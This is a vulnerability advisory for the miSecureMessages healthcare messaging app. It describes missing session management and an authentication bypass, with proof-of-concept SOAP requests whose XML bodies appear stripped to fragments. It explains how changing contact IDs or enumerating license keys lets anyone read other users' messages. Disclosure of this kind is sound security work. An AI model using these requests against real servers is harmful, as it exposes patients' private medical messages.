Affected Product
==================================
miSecureMessages from Amtelco - Tested on version: Client=4.0.1
Server=6.2.4552.30017
iOS: https://itunes.apple.com/us/app/misecuremessages/id423957478?mt=8
android: https://play.google.com/store/apps/details?id=com.amtelco.secure
website: https://misecuremessages.com/
Product Description
==================================
miSecureMessages is a secure, two-way instant smartphone and tablet
messaging Androidâ„¢ App that uses encryption to keep your messages private.
Messages can be sent securely from device to device, and by using the
secure cloud-based or on-site directory solution. When you receive a
message from miSecureMessages, a Persistent Alert notifies you until you
acknowledge the message. You can view the message, and quickly send a
secure reply. miSecureMessages is perfect for healthcare and medical
professionals to protect patient PHI, as well as industries that need
secure instant messaging.
Vulnerability Details
==================================
----------------------------------
Session Management Vulnerability
----------------------------------
miSecureMessages lacks any sort of session management. Among other things,
this allows any user to modify the xml requests to retrieve other users
messages.
PoC(1):
POST /msmwebservice/service.asmx HTTP/1.1
Host: misecureserver.localhost.com
Proxy-Connection: keep-alive
Accept: */*
Accept-Encoding: gzip, deflate
Content-Type: text/xml; charset=utf-8
Accept-Language: en-us
SOAPAction: http://amtelco.com/ssm/GetMessages
Connection: keep-alive
User-Agent: miSecureMessages/4.0.1 CFNetwork/672.0.8 Darwin/14.0.0
11falseXXXX.X.XXXX
Due to the lack of session management, it is possible to change the
value to any valid contact ID and retrieve all messages for the
user associated with that contact ID.
----------------------------------
Authentication bypass vulnerability
----------------------------------
Authentication is not required to access messages, only the input of a
valid "license key". By modifying and sequentially enumerating through the
it is possible to retrieve all messages without authenticating.
PoC(2):
POST /msmwebservice/service.asmx HTTP/1.1
Host: misecureserver.localhost.com
Content-Type: application/soap+xml; charset=utf-8
Content-Length: 473
XXXX.X.XXXX
1
false
1